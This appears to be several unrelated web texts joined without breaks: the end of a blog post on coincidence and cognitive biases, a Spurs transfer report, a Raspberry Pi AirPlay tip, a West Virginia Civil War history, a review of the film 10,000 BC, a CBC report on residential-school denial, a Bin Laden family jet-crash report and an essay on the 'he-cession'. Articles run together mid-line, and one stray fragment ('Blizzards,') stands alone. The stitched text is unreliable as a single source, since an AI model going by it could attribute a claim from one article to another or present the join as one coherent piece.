This is one of the reasons why the Law of Attraction works: you don’t manifest something purely through the power of your thoughts, but your focus on what you want leads you to put yourself into situations where you’re much more likely to make progress towards your goals.
Probable Coincidences
Another way in which positive thinking can go too far is when we read too much into coincidences. Have you ever had the experience of thinking of a friend you’d not spoken to in ages – followed by an unexpected phone-call or email from them? Amazing! we think to ourselves, it must be a sign. Of course, we won’t pay any attention to the dozens of times earlier in the day you daydreamed about chocolate chip cookies that failed to materialze.
There are several reasons why we place too much importance on events that are simple coincidences. The two key ones that I want to look at here are:
Hindsight bias (“the inclination to see events that have occurred as more predictable than they in fact were before they took place”)
We tend towards selective validation – noticing positive correlations and ignoring near misses.
Hindsight Bias
Hindsight bias is when people who know the answer vastly overestimate its predictability or obviousness, compared to the estimates of subjects who must guess without advance knowledge. Hindsight bias is sometimes called the I-knew-it-all-along effect.
(Overcoming Bias: Hindsight bias, Eliezer Yudkowsky, Overcoming Bias.com)
When a jury or group of people are told the result of an event (Eliezer gives the example of outcomes of historical battles), they’re likely to rate this outcome as highly probable based on the evidence. Control groups who do not know the actual historical outcome assign more realistic probabilities to the various possible outcomes.
This means that, when a coincidence occurs, we sometimes think “I knew that was going to happen” … even when, if we’d been asked a few days before, we’d not have rated that particular event as any more likely than others.
Selective Validation (aka “the Jeanne Dixon effect”)
We forget all the premonitions of disaster we’ve had which didn’t predict the future and remember vividly those few which seemed to do so. Instances of seemingly telepathic thought are reported to everyone we know; the incomparably vaster number of times this does not occur are too banal to mention.
(from J.A.Paulos, Beyond Numeracy)
Have you ever had a dream which came true? Quite possibly – but you’ve probably also had hundreds of dreams which didn’t. Like the students who were given Forer’s personality profile, we tend to tune out the details that don’t fit, and focus on the few ones which suit us. That might mean selective memory of events, or focusing on the predictions made by astrologers and psychics which do seem to come true. This is known as illusory correlation.
Be aware that we’re all prone to this innate bias, however intelligent or well-educated we are. Next time you think that something’s an unbelievable coincidence, or an uncannily accurate prediction, question whether you’re unconsciously selecting evidence which happens to fit your viewpoint.
A common ploy used by psychics (often called the Jeanne Dixon effect) is to make dozens of predictions knowing that the more that are made, the better the odds that one will hit. When one comes true, the psychic counts on us to conveniently forget the 99% that were way off. This makes the correct predictions seem much more compelling than they really are. This is a conscious or deliberate form of subjective validation, or, put more simply, fraud.
(The Power of Coincidence: Some Notes on Psychic Predictions, Robert Novella, Quackwatch)
Don’t Be So Smug – You’re Not So Great
In addition to the biases discussed previously, there are a number of interesting biases we tend to have in relation to thinking about our own attributes in comparison to other peoples’. Most of us have a tendancy towards putting outselves on pedestals.
When people are asked to rate themselves at skills, desireable behaviours and attributes, they’re likely to say that they’re “above average”. For example, a survey of American college students found that 88% of drivers rated themselves as “above average” drivers. This is known as the Lake Wobegone effect:
[The Lake Wobegone effect] is named for the fictional town of Lake Wobegon from the radio series A Prairie Home Companion, where, according to the presenter, Garrison Keillor, “all the women are strong, all the men are good-looking, and all the children are above average.”
(Lake Wobegone effect, Wikipedia)
Another term for this is “illusory superiority”; rating yourself as “better” than other people within a group. This commonly occurs within professions and between colleagues or classmates. For example, the University of Nebraska asked teachers to rate themselves in terms of teaching ability. 68% of teachers believed they were in the top 25% – a statistical impossibility.
If you flatter yourself for being a great cook, a brilliant employee or a fantastic friend, consider whether you’re falling into the mental bias trap. Should you really be so smug – or are you underestimating where the “average” lies?
(And a warning to those reading this thinking “I’m not as prone to bias as the average person” … you’ve just found the bias blind spot.)
Thinking Cautiously
Ready to apply what we’ve just discussed? Here’s an example of a real life horoscope:
There’s a difference between knowing you’ll have to make decisions, which you do, and being ready to make them, which you’re not. You see yourself as being decisive, and so could worry that others might regard you as weak for leaving things open-ended. That may be true, at least right now. However, the time you invest in reflection between now and the Capricorn New Moon, on December 27, will yield valuable insights about here-and-now issues and, more importantly, your future. On the same day, the courageous Mars moves into your sign and, a day later, meets the uncompromising Pluto. After that, there will be no question where your direction lies.
(The Times: Woman section)
Can you see how this uses what we’ve seen above about our tendency towards positive, selective, thinking? For example, in the first sentence, we see the horoscope writer using a universal truth about human nature: we all know that we need to make decisions, and we all frequently feel that we’re not ready to do so on some matters. The second sentence also applies to most people – do any of you view yourself as indecisive?
The third sentence (“That may be true, at least right now.”) is vague enough to allow a lot of room for disagreement – the words may and at least show that the writer is not committing his or her self.
The next sentence relies on creating a self-fulfilling prophecy, “The time you invest in reflection … will yield valuable insights about here-and-how issues, and, more importantly, your future.” After reading this, many people would be encouraged to spend some time in reflection, with the expectation that this reflection would result in “valuable insights”. But this is not predicted by the horoscope – it’s caused by reading the horoscope. Having a life coach or business mentor tell you to spend more time on reflecting on your life and career would have a similar effect.
[reddit-me]
Positive thinking and focusing on what you want in your life (using the “Law of Attraction” if you wish) can be very helpful in leading you towards your goals. If you read horoscopes, predictions, or personality profiles provided by “experts,” however, proceed with caution. Be aware of the mental biases that we all have, and look out for vague language, general statements, the creation of self-fulfilling prophecies, and a reliance on coincidence.
Do you tend towards overly positive thinking – or do you manage to take a balanced, rational view of coincidences and so-called psychic phenomena? Share your thoughts with us in the comments…
P.S. This post is by Ali Hale. I promise we’ll have a better Author box up soon ;) – Sid
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Manchester City have made their move for Tottenham defender Kyle Walker.
Talks have been opened between the two clubs for the 27-year-old defender for whom the north Londoners will not accept less than £50million.
It is understood Kieran Trippier has signed a new, five-year deal worth £65,000-a-week at the club to become Walker’s successor next season.
Trippier finished last season as Mauricio Pochettino’s first choice after Walker’s relationship with the Spurs boss deteriorated irreparably.
(Image: Reuters)
(Image: Michael Regan - The FA)
The 26-year-old also managed to force his way into Gareth Southgate’s World Cup plans with England after impressing at club level.
Spurs still want to add another right-back to ensure they have enough depth next season to compete in both the Premier League and the Champions League.
Porto’s Ricardo Pereira, 23, is among their targets while the club are also admirers of Ajax 25-year-old Joel Veltman.Although it looks like Apple is about to turn the Apple TV into a PlayStation-killing video game console, it’s not the indisputable king of the hill of streaming media boxes right now. Roku, Fire TV, Chromecast … all have their advantages over the Apple TV except for one killer feature: AirPlay Mirroring, which allows the Apple TV to stream anything running on your iPhone, iPad or Mac.
If you don’t have an Apple TV, you can’t use AirPlay Mirroring, right? Actually, you can — as long you have a Raspberry Pi.
If you haven’t heard of a Raspberry Pi before, it’s a dirt-cheap ($35!) micro-controller that’s custom-designed to be something of a hacker’s playground. (For just a hint of what you can do with a Raspberry Pi, check out Cult of Mac’s previous how-to, “5 hot Raspberry Pi projects for Mac geeks.”)
If you have a Raspberry Pi, it’s trivial to add AirPlay Mirroring support to it. All you do is download and install some software called rPlay. Once it has been installed, you can mirror your iPhone, iPad or Mac to any display with a Raspberry Pi hooked up to it.
DIY website Instructables will walk you through the process.
Sure, Apple TVs are pretty cheap at $99, so if you want to get AirPlay Mirroring on your TV, it’s only a C-note away. But you know what’s cheaper than $99? $35. Consider this a way to dip your toe in the AirPlay water.Blizzards,
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still held under Confederate arms - at the time of West Virginia's statehood this included at least some measure of control in about thirteen counties claimed by the newly admitted state. Many localities (especially in the southeastern part of the state) sent representatives to both the Wheeling and Richmond state legislatures.
As was the case with all regions the Confederacy claimed but did not control, the Confederate States Congress seated Representatives from districts encompassing the whole of Virginia's antebellum borders until its dissolution. In House districts where the Confederates could not hold conventional elections, the Confederate Congress accepted the fragmentary Congressional results from army and refugee camps as representative of the majority of residents. While Confederate Congressional elections were ostensibly nonpartisan, especially in Virginian districts under Union occupation the administration of President Jefferson Davis manipulated the electoral process to ensure the election of pro-administration representatives, in large part to counteract the increasing tendency of House districts still under Confederate control to elect anti-administration candidates.
While the level of effective Confederate control over West Virginia would continue to diminish as the war progressed, authorities in Richmond were able to maintain at least a tenuous control over West Virginia's southeastern border regions until the end of the war.
Slavery [ edit ]
During the Civil War, a Unionist government in Wheeling, Virginia, presented a statehood bill to Congress in order to create a new state from 48 counties in western Virginia. The new state would eventually incorporate 50 counties. The issue of slavery in the new state delayed approval of the bill. In the Senate Charles Sumner objected to the admission of a new slave state, while Benjamin Wade defended statehood as long as a gradual emancipation clause would be included in the new state constitution.[4] Two senators represented the Unionist Virginia government, John S. Carlile and Waitman T. Willey. Senator Carlile objected that Congress had no right to impose emancipation on West Virginia, while Willey proposed a compromise amendment to the state constitution for gradual abolition. Sumner attempted to add his own amendment to the bill, which was defeated, and the statehood bill passed both houses of Congress with the addition of what became known as the Willey Amendment. President Lincoln signed the bill on December 31, 1862. Voters in western Virginia approved the Willey Amendment on March 26, 1863.[5]
President Lincoln had issued the Emancipation Proclamation on January 1, 1863, which exempted from emancipation the border states (four slave states loyal to the Union) as well as some territories occupied by Union forces within Confederate states. Two additional counties were added to West Virginia in late 1863, Berkeley and Jefferson. The slaves in Berkeley were also under exemption but not those in Jefferson County. As of the census of 1860, the 49 exempted counties held some 6000 slaves over 21 years of age who would not have been emancipated, about 40% of the total slave population.[6] The terms of the Willey Amendment only freed children, at birth or as they came of age, and prohibited the importation of slaves.[7]
West Virginia became the 35th state on June 20, 1863, and the last slave state admitted to the Union.[8][9][10] Eighteen months later, the West Virginia legislature completely abolished slavery,[11] and also ratified the 13th Amendment on February 3, 1865.
Military events [ edit ]
In April 1861, Virginia troops under Thomas J. "Stonewall" Jackson occupied Harpers Ferry and part of the Baltimore and Ohio Railroad leading into western Virginia. They seized many B&O locomotives and railcars on May 23.
In May and June 1861, Confederate forces advanced into western Virginia to impose control by the Richmond government and the Confederacy. They got no further than Philippi, due to bad roads. Then Union troops under McClellan drove them back in July.
There was additional campaigning further south, where Greenbrier County was pro-Confederate, enabling Confederate troops to enter Nicholas County to the west. In September 1861, Union troops drove the Confederates out of Nicholas County and defeated their counterattack at Cheat Mountain.
Thereafter all of the trans-Allegheny region was under firm Union control except for some of the easternmost counties. Greenbrier County was occupied in May 1862. Pro-Confederate guerrillas burned and plundered in some sections, and were not entirely suppressed until after the war was ended.
There were two minor Confederate expeditions against the northeastern corner of the west later on: Jackson's Romney Expedition in January 1862; and the Jones-Imboden Raid in May–June 1863.
Union strategy for the region was to protect the vital B&O Railroad and also attack eastward into the Shenandoah Valley and southwestern Virginia. This latter goal proved impossible, due to the poor roads across mountainous terrain.
The B&O passed across the lower (northern) end of the Shenandoah, east of the Alleghenies. This area was therefore occupied by Union troops for nearly all of the war, and was a scene of frequent combat.
Harpers Ferry was the site of a major U.S. Army arsenal, and was taken by Confederates in the opening days of the war, and again during the Maryland Campaign of 1862. During the Maryland Campaign it was a route of invasion and retreat for the Army of Northern Virginia; the campaign concluded there with the Battle of Shepherdstown.
Many soldiers from West Virginia served on both sides in the war.
Those in Confederate service were in "Virginia" regiments.
Those in Union service were also in "Virginia" regiments until statehood, when several Unionist "Virginia" regiments were redesignated "West Virginia" regiments. Among these were the 7th West Virginia Infantry, famed for actions at Antietam and Gettysburg, and the 3rd West Virginia Cavalry, which also fought at Gettysburg.
On the Confederate side, Albert G. Jenkins, a former U.S. Representative, recruited a brigade of cavalry in western Virginia, which he led until his death in May 1864. Other western Virginians served under Brig. Gen. John Imboden and in the Stonewall Brigade under Brig. Gen. James A. Walker.[12]
Guerrilla war [ edit ]
On May 28, 1861 one of the first trials of the Civil War for sabotage took place in Parkersburg, Virginia. A group of men were found playing cards under a B&O railroad bridge and arrested by Federal authorities. The trial was conducted by Judge William Lowther Jackson (later, Gen. W.L. Jackson, C.S.A.). The men were acquitted, since no actual crime had taken place, but Parkersburg was split over the verdict, and Judge Jackson left to join Col. Porterfield at Philippi.[13]
With the defeat of Confederate forces at the Battle of Philippi and the Battle of Cheat Mountain only occasionally would they occupy parts of western Virginia. Local supporters of Richmond were left to their own devices. Many guerrilla units originated in the pre-war militia, and these were designated Virginia State Rangers and starting in June, 1862, these were incorporated into Virginia State Line regiments. By March, 1863, however, many were enlisted in the regular Confederate army.[14]
Counties of West Virginia still held by the Confederacy as of Feb. 1863
There were others though who operated without sanction of the Richmond government, some fighting on behalf of the Confederacy, while others were nothing more than bandits who preyed on Union and Confederate alike. Early in the war captured guerrillas were sent to Camp Chase or Johnson Island in Ohio, Fort Delaware in Delaware and also the Atheneum in Wheeling. Some were paroled after taking an oath, but many returned to their guerrilla activities. The Union authorities began to organize their own guerrilla bands, the most famous of which was the "Snake Hunters", headed by Capt. Baggs. They patrolled Wirt and Calhoun counties through the winter of 1861–62 and captured scores of Moccasin Rangers, which they sent as prisoners to Wheeling.
The fight against the rebel guerrillas took a new turn under Gen. John C. Fremont and Col. George Crook, who had spent his pre-war career as an "Indian fighter" in the Pacific Northwest. Col. Crook took command of the 36th Ohio Infantry, centered around Summersville, Nicholas County. He trained them in guerrilla tactics and adopted a "no prisoners" policy.[15]
Harper's Weekly, July 20, 1861 "The Secessionist Army-Irregular Riflemen of the Alleghanies, Virginia",, July 20, 1861
On January 1, 1862, Crook led his men on an expedition north to Sutton, Braxton County, where he believed Confederate forces were located. None were found, but his troops encountered heavy guerrilla resistance and responded by burning houses and towns along the line of march.[16] But by August, 1862, Unionist efforts were severely hampered with the withdrawal of troops to eastern Virginia.
In this vacuum Gen. William W. Loring, C.S.A, recaptured the Kanawha valley, Gen. Albert Gallatin Jenkins, C.S.A., moved his forces through central West Virginia, capturing many supplies and prisoners.[17] Confederate recruitment increased, Gen. Loring opening recruitment offices as far north as Ripley.
In response to rebel raids, Gen. Robert H. Milroy issued a command demanding reparations to be paid in cash and proceeded to assess fines against Tucker county citizens, guilty or not, and threatened them with the gallows or house-burning. Jefferson Davis and Confederate authorities lodged formal complaints with Gen. Henry Wager Halleck in Washington, who censured Gen. Milroy. However, Milroy argued in defense of his policy and was allowed to proceed.
By early 1863 Union efforts in West Virginia were going badly. Unionists were losing confidence in the Wheeling government to protect them, and with the approaching dismemberment of Virginia into two states guerrilla activity increased in an effort to prevent organization of county governments. By 1864 some stability had been achieved in some central counties, but guerrilla activity was never effectively countered.[18] Union forces that were needed elsewhere were tied down in what many soldiers considered a backwater of the war. But Federal forces could not afford to ignore any rebel territory, particularly one so close to the Ohio River.[19]
As late as January, 1865, Gov. Arthur I. Boreman complained of large scale guerrilla activity as far north as Harrison and Marion counties.[20] In one last, brazen act of the guerrilla war, McNeill's Rangers of Hardy County kidnapped Generals George Crook and Benjamin F. Kelley from behind Union lines and delivered them as prisoners of war to Richmond. The Confederate surrender at Appomattox finally brought an end to guerrilla war in West Virginia.[21]
Soldiery [ edit ]
On May 30, 1861, Brig. Gen. George B. McClellan in Cincinnati wrote to President Lincoln: "I am confidently assured that very considerable numbers of volunteers can be raised in Western Virginia...".[22] After nearly two months in the field in West Virginia he was less optimistic. He wrote to Gov. Francis Harrison Pierpont of the Restored Government of Virginia in Wheeling that he and his army were anxious to assist the new government, but that eventually they would be needed elsewhere, and that he urged that troops be raised "among the population". "Before I left Grafton I made requisitions for arms clothing etc for 10,000 Virginia troops – I fear that my estimate was much too large."[23] On August 3, 1861, the Wellsburg "Herald" editorialized "A pretty condition Northwestern Virginia is in to establish herself as a separate state...after all the drumming and all the gas about a separate state she has actually organized in the field four not entire regiments of soldiers and one of these hails almost entirely from the Panhandle."[24]
Similar difficulties were experienced by Confederate authorities at the beginning of the war. On May 14, 1861, Col. George A. Porterfield arrived in Grafton to secure volunteers, and reported slow enlistment. Col. Porterfield's difficulty ultimately, however, was lack of support by the Richmond government, which did not send enough guns, tents and other supplies. He eventually turned away hundreds of volunteers due to lack of equipment.[25] Gen. Henry A. Wise also complained of recruitment in the Kanawha valley, though he eventually assembled 2,500 infantry, 700 cavalry, three battalions of artillery for a total of 4,000 men which became known as "Wise's Legion".[26] One regiment from the Wise legion, the 3rd Infantry (later reorganized as the 60th Virginia Infantry) was sent to South Carolina in 1862, and it was from Maj. Thomas Broun of the 3rd Infantry that Gen. Robert E. Lee bought his famous horse Traveller.
In April 1862 the Confederate government instituted a military draft,[27] and nearly a year later the U.S. government did the same. The Confederate draft was not generally effective in West Virginia due to the breakdown of Virginia state government in the western counties and Union occupation of the northern counties, although conscription did occur in the southern counties. In the southern and eastern counties of West Virginia Confederate recruitment continued at least until the beginning of 1865.[28]
The Wheeling government asked for an exemption to the Federal draft, saying that they had exceeded their quota under previous calls.[29] An exemption was granted for 1864, but in 1865 a new demand was made for troops, which Gov. Boreman struggled to fill. In some counties, ex-Confederates suddenly found themselves enrolled in the U.S. Army.[30]
The loyalty of some Federal troops had been questioned early in the war. The rapid conquest of northern West Virginia had caught a number of Southern sympathizers behind Union lines. A series of letters to Gen. Samuels and Gov. Pierpoint in the Dept. of Archives and History in Charleston, most dated 1862, reveal the concern of Union officers. Col. Harris, 10th Company, March 27, 1862, to Gov. Pierpoint: "The election of officers in the Gilmer County Company was a farce. The men elected were rebels and bushwhackers. The election of these men was intended, no doubt, as a burlesque on the reorganization of the militia."[31]
Because the government in Richmond did not keep separate military records for what would become West Virginia, there has never been an official count of Confederate service in West Virginia. Early estimates were very low, in 1901 historians Fast & Maxwell placed the figure at about 7,000.[32] An exception to the low estimates is found in Why The Solid South?, whose authors believed the Confederate numbers exceeded Union numbers.[33] In subsequent histories the estimates rose, Otis K. Rice placed the number at 10,000-12,000.[34] Richard O. Curry in 1964 placed the figure at 15,000.[35] The first detailed study of Confederate soldiery estimates the number at 18,000,[36] which is close to the 18,642 figure stated by the Confederate Dept. of Western Virginia in 1864.[37] In 1989 a study by James Carter Linger estimated the number at nearly 22,000.[38]
The official number of Union soldiers from West Virginia is 31,884 as stated by the Provost Marshal General of the United States.[39] These numbers include, however, re-enlistment figures[40] as well as out-of-state soldiers who enlisted in West Virginia regiments. In 1905 Charles H. Ambler estimated the number of native Union soldiers to be about 20,000.[41]
Richard Current estimated native Union numbers at 29,000.[42] In his calculations, however, he only allowed for a deduction of 2,000 out-of-state soldiers in West Virginia regiments. Ohio contributed nearly 5,000,[43] and with the deduction of Pennsylvania and other state's volunteers that estimate is reduced considerably.
The West Virginia Dept. of Archives and History believes that Confederate and Union numbers were about equal[44][45] though they give no specific numbers. The George Tyler Moore Center in Shepherdstown estimates the Union numbers to be 22,000-25,000.[citation needed]
Nursing during the Civil War [ edit ]
The Sisters of St. Joseph, who operated Wheeling Hospital in that city, were nurses during the war. They treated soldiers brought to the hospital and prisoners at the Athenaeum in downtown Wheeling. In 1864, the Union army took control of the hospital, and the sisters went on the federal payroll as matrons and nurses, beginning that summer. Several of them later received pensions in recognition of their service.
Civil War battles in West Virginia [ edit ]
Civil War battles fought in West Virginia
The Manassas Campaign:
Battle of Hoke's Run (July 2, 1861), Berkeley County – Stonewall Jackson successfully delays a larger Union force.
The Western Virginia Campaign:
Later actions:
West Virginians in the Civil War [ edit ]
Union
26 Medals of Honor were credited to West Virginians for actions during the war. Another 6 medals were awarded to born West Virginias who relocated and were credited to other states.[47]
A total of 14 medals were awarded to soldiers of the 1st West Virginia Cavalry; making it the highest decorated regiment of the Union Army.
Confederate
See also [ edit ]
Notes [ edit ]
Bibliography [ edit ]Click to viewSo we caught the new Roland "Independence Day" Emmerich vehicle 10,000 BC, opening in a theater near you today. It's a science fiction film in the most literal sense of those words. This flick takes the sciences of evolutionary biology and anthropology and turns them into fiction. Sadly, it wasn't the 300 style of anthropology fiction, where you know everything is wildly inaccurate but find yourself in a forgiving mood because the action is so terrific and the concept design kicks ass. 10,000 BC was actually so historically inaccurate that not even the giant ostrich attack scene made up for it. Spoilers and cranky comments about scientific accuracy ahead.
From the earliest moments in the film, when we get the cheesy "epic voiceover" telling us that this is the "story of blue eyes" and some other mystical garbage, it's obvious that 10,000 BC is a bad ripoff of Apocalypto. Which is to say, it's the tale of a small-town hunter-gatherer boy whose woman is stolen by bad guys from the big city full of pyramids and priests with weird makeup and strange fingernails. And it pains me to say this, but Apocalypto is a freakin masterpiece of scientific accuracy compared to 10,000 BC. At least Apocalypto director Mel Gibson had his timescale right for the Mayan Empire.
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In 10,000 BC, you've got Egyptian pyramids being built by guys using woolly mammoths. I mean, it's the goddamn ice age, and then our main character walks over a hill and suddenly he's in the Nile Valley of 2,000 BC? And these anachronistic bad guy Egyptians (from the ice age) have got ships, horseback riding, and freakin STEEL. Steel? C'mon, guys, you couldn't even consult Wikipedia? I mean, why not just call the movie 2,000 BC and make it about ancient Egypt? Or keep it in 10,000 BC and come up with some other kind of bad guys? Jeezus.
So anyway, our hero lives in some undefined ice age region hunting mammoths (pretty decent CGI mammoths by the way), seemingly in Europe but a mere few days' walk from Egypt. A band of guys on horseback come zooming through one day, steal a bunch of his clansmen, and take off in the direction of the aforementioned historically-inaccurate city. Did I mention that 10,000 BC was right around the time agriculture was being invented? And that the first cities — with no giant monuments — didn't exist until roughly 4,000 BC?
OK, look, I know it's annoying when people go to science fiction movies and brap loudly about how light speed wouldn't work like that, and monsters that big would be crushed by gravity. However, at least with that shit we have the excuse that we don't really know how FTL could work, and we aren't sure what life would be like on other planets. But what was going on in the world 10,000 years ago? We don't know every damn granular detail, but we do know there were no giant cities where woolly mammoths from the ice age helped build pyramids. I mean, the movie Ice Age is practically more accurate than this crap.
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Plus there's a lot of tribal ooga-booga where white people with dreads (who are somehow in charge of the brown people) talk about great spirits and generally act like a cross between the bad parts of Burning Man and the bad parts of the new agey 1970s. On the plus side, there are some cool CGI pyramids and the main character is almost killed by a sabre tooth tiger.
My biggest fear is that a bunch of teachers will take their classes to see this movie to teach them about human history. Because, you know, it's educational. I can't decide if it's worse to propagate 10,000 BC as evolutionary theory, or to propagate intelligent design as a theory of evolution. I think it may be an even match in the end.Senator Murray Sinclair says preserving the record of the wrongdoing committed under the Indian residential school system is the best way to fight back against those who deny its negative impact on Indigenous people.
Sinclair, who was the chief commissioner of the Truth and Reconciliation Commission, made the comments to Anna Maria Tremonti, host of CBC Radio's The Current Tuesday evening.
"If we can preserve that record for future generations, then these deniers will have a diminishing population of people who will believe them," Sinclair said
They deny, perhaps, because they're slow-minded and dim-witted - Senator Murray Sinclair
Tremonti asked Sinclair if fellow legislators avoid him in the halls of Parliament as he pushes for the implementation of the 94 recommendations in the Truth and Reconciliation Commission report.
"There are still some people resisting — not just in the Senate, but elsewhere," Sinclair said.
"People tend to forget that there have always been those who are deniers of history and they deny history for their own reasons. They deny, perhaps, because they're slow-minded and dim-witted, but more importantly it's because I think they believe in a certain delusion about our history that they are unwilling to give up."
Sinclair was speaking at The Current's fifth public forum on missing and murdered Indigenous women held at the Canadian Museum of History in Gatineau. The full forum will be broadcast on April 4.
Senator Murray Sinclair talks about people who deny the negative impact of the Indian residential school system 1:40
'Lynn Beyak, please stand in my shoes,'
Sinclair's comments follow a firestorm of controversy around Conservative Senator Lynn Beyak, who sits on the Senate's Aboriginal people's committee.
The Ontario senator spoke in defence of the "well-intentioned" people who ran the residential school system and said the commission's report was negatively skewed and "didn't focus on the good."
Beyak has repeatedly said she stands by her comments and recently said she had "suffered" alongside residential school survivors.
Senator Lynn Beyak on residential schools 3:02
Matilda Wilson, a residential school survivor from Smithers, B.C., rose to speak at the forum and called Beyak's comments "a slap in the face." Wilson shared her own experience being taken to a residential school in 1956.
"When I was six years old and my brother was five, and we still crawled in our mom and dad's bed, that really did something to us when they took us away to boarding school and we were never to see them for seven years," she said, breaking into tears as two women came to her side.
"I want to let you know it still hurts a lot and I want this person, Lynn Beyak, please stand in my shoes."
Wilson's daughter Ramona disappeared at age 16 and her body was later found in a bush area near the airport in Smithers, B.C. Wilson said her daughter's death, alcoholism among Indigenous people and the over-representation of Indigenous children in provincial care systems are linked to the intergenerational trauma of the residential school system
Residential school survivor Matilda Wilson speaks at The Current's forum on missing and murdered Indigenous women 0:56
'We should never forget'
Tremonti asked Sinclair if he had anything to say about Beyak's comments.
"I spent all day telling people no comment," Sinclair said, referring to reporters' attempts earlier that day to elicit comment from the former judge on his fellow senator's latest remarks. But offered an explanation to Tremonti as to how he responds to people who ask why Indigenous people don't "get over" the residential school experience.
"My answer has always been: Why can't you always remember this? Because this is about memorializing those people who have been the victims of a great wrong. Why don't you tell the United States to 'get over' 9/11? Why don't you tell this country to 'get over' all the veterans who died in the Second World War, instead of honouring them once a year?" he said.
Sinclair is the former chief commissioner of the Truth and Reconciliation Commission. 1:54
"We should never forget, even once they have learned from it, because it's part of who we are. It's not just a part of who we are as survivors and children of survivors and relatives of survivors, it's part of who we are as a nation. And this nation must never forget what it once did to its most vulnerable people."
Sinclair had responded to some of Beyak's comments in the Senate chamber, but has declined CBC's requests for an interview in the past.
You can watch The Current's virtual reality documentary Highway of Tearshere and watch the archived Facebook Live of the event below.London: Family members of the late Al Qaida leader Osama Bin Laden were killed in a private jet crash in southern England, a Saudi ambassador said, but did not further identify the dead.
Prince Mohammad Bin Nawaf Bin Abdul Aziz, the Saudi ambassador to the United Kingdom, offered his condolences to the wealthy Bin Laden family, which owns a major construction company in Saudi Arabia.
“The embassy will follow up on the incident and its circumstances with the concerned British authorities and work on speeding up the handover of the bodies of the victims to the kingdom for prayer and burial,” the ambassador said in a statement tweeted by the embassy late on Friday.
Police say four people - a pilot and three passengers - died when an executive jet crashed into a parking lot and burst into flames while trying to land at an airport in southern England Friday afternoon. The plane had been flying from Malpensa Airport in Milan.
No one on the ground was hurt. Police and the Air Accidents Investigation Branch have launched a joint investigation.
Blackbushe Airport said the Embraer Phenom 300 jet crashed near the end of the runway while trying to land at the airfield about 65 kilometres southwest of London, which is used by private planes and flying clubs.
Andrew Thomas, who was at a car auction sales center based at the airport, told the BBC that “the plane nosedived into the cars and exploded on impact.” He said he saw the plane and several cars in flames.
The official Saudi Press Agency earlier identified the plane as Saudi-owned without mentioning the Bin Ladens. It said a Saudi official would work with British authorities in investigating the crash.
The Bin Laden family disowned Osama in 1994 when Saudi Arabia stripped him of his citizenship because of his militant activities. The Al Qaida leader was killed by US special forces in Pakistan in 2011.
The family is a large and wealthy one. Osama Bin Laden’s billionaire father Mohammad, who died in 1967, had more than 50 children and founded the Binladen Group, a sprawling construction conglomerate awarded many major building contracts in the Sunni kingdom.The Death of Macho
The era of male dominance is coming to an end.
Seriously.
For years, the world has been witnessing a quiet but monumental shift of power from men to women. Today, the Great Recession has turned what was an evolutionary shift into a revolutionary one. The consequence will be not only a mortal blow to the macho men’s club called finance capitalism that got the world into the current economic catastrophe; it will be a collective crisis for millions and millions of working men around the globe.
The death throes of macho are easy to find if you know where to look. Consider, to start, the almost unbelievably disproportionate impact that the current crisis is having on men—so much so that the recession is now known to some economists and the more plugged-in corners of the blogosphere as the “he-cession.” More than 80 percent of job losses in the United States since November have fallen on men, according to the U.S. Bureau of Labor Statistics. And the numbers are broadly similar in Europe, adding up to about 7 million more out-of-work men than before the recession just in the United States and Europe as economic sectors traditionally dominated by men (construction and heavy manufacturing) decline further and faster than those traditionally dominated by women (public-sector employment, healthcare, and education). All told, by the end of 2009, the global recession is expected to put as many as 28 million men out of work worldwide.
Things will only get worse for men as the recession adds to the pain globalization was already causing. Between 28 and 42 million more jobs in the United States are at risk for outsourcing, Princeton economist Alan Blinder estimates. Worse still, men are falling even further behind in acquiring the educational credentials necessary for success in the knowledge-based economies that will rule the post-recession world. Soon, there will be three female college graduates for every two males in the United States, and a similarly uneven outlook in the rest of the developed world.
Of course, macho is a state of mind, not just a question of employment status. And as men get hit harder in the he-cession, they’re even less well-equipped to deal with the profound and long-term psychic costs of job loss. According to the American Journal of Public Health, “the financial strain of unemployment” has significantly more consequences on the mental health of men than on that of women. In other words, be prepared for a lot of unhappy guys out there—with all the negative consequences that implies.
As the crisis unfolds, it will increasingly play out in the realm of power politics. Consider the electoral responses to this global catastrophe that are starting to take shape. When Iceland’s economy imploded, the country’s voters did what no country has done before: Not only did they throw out the all-male elite who oversaw the making of the crisis, they named the world’s first openly lesbian leader as their prime minister. It was, said Halla Tomasdottir, the female head of one of Iceland’s few remaining solvent banks, a perfectly reasonable response to the “penis competition” of male-dominated investment banking. “Ninety-nine percent went to the same school, they drive the same cars, they wear the same suits and they have the same attitudes. They got us into this situation—and they had a lot of fun doing it,” Tomasdottir complained to Der Spiegel. Soon after, tiny, debt-ridden Lithuania took a similar course, electing its first woman president: an experienced economist with a black belt in karate named Dalia Grybauskaite. On the day she won, Vilnius’s leading newspaper bannered this headline: “Lithuania has decided: The country is to be saved by a woman.”
Although not all countries will respond by throwing the male bums out, the backlash is real—and it is global. The great shift of power from males to females is likely to be dramatically accelerated by the economic crisis, as more people realize that the aggressive, risk-seeking behavior that has enabled men to entrench their power—the cult of macho—has now proven destructive and unsustainable in a globalized world.
Indeed, it’s now fair to say that the most enduring legacy of the Great Recession will not be the death of Wall Street. It will not be the death of finance. And it will not be the death of capitalism. These ideas and institutions will live on. What will not survive is macho. And the choice men will have to make, whether to accept or fight this new fact of history, will have seismic effects for all of humanity—women as well as men.
For several years now it has been an established fact that, as behavioral finance economists Brad Barber and Terrance Odean memorably demonstrated in 2001, of all the factors that might correlate with overconfident investment in financial markets—age, marital status, and the like—the most obvious culprit was having a Y chromosome. And now it turns out that not only did the macho men of the heavily male-dominated global finance sector create the conditions for global economic collapse, but they were aided and abetted by their mostly male counterparts in government whose policies, whether consciously or not, acted to artificially prop up macho.
One such example is the housing bubble, which has now exploded most violently in the West. That bubble actually represented an economic policy that disguised the declining prospects of blue-collar men. In the United States, the booming construction sector generated relatively high-paying jobs for the relatively less-skilled men who made up 97.5 percent of its workforce—$814 a week on average. By contrast, female-dominated jobs in healthcare support pay $510 a week, while retail jobs pay about $690 weekly. The housing bubble created nearly 3 million more jobs in residential construction than would have existed otherwise, according to the U.S. Bureau of Labor Statistics. Other, mostly male-dominated, industries, such as real estate, cement production, truck transport, and architecture, saw big employment gains as well. These handsome construction wages allowed men to maintain an economic edge over women. When policymakers are asked why they didn’t act to stem the housing bubble’s inflation, they invariably cite the fact that the housing sector was a powerful driver of employment. Indeed, subsidizing macho had all kinds of benefits, and to puncture the housing bubble would have been political suicide.
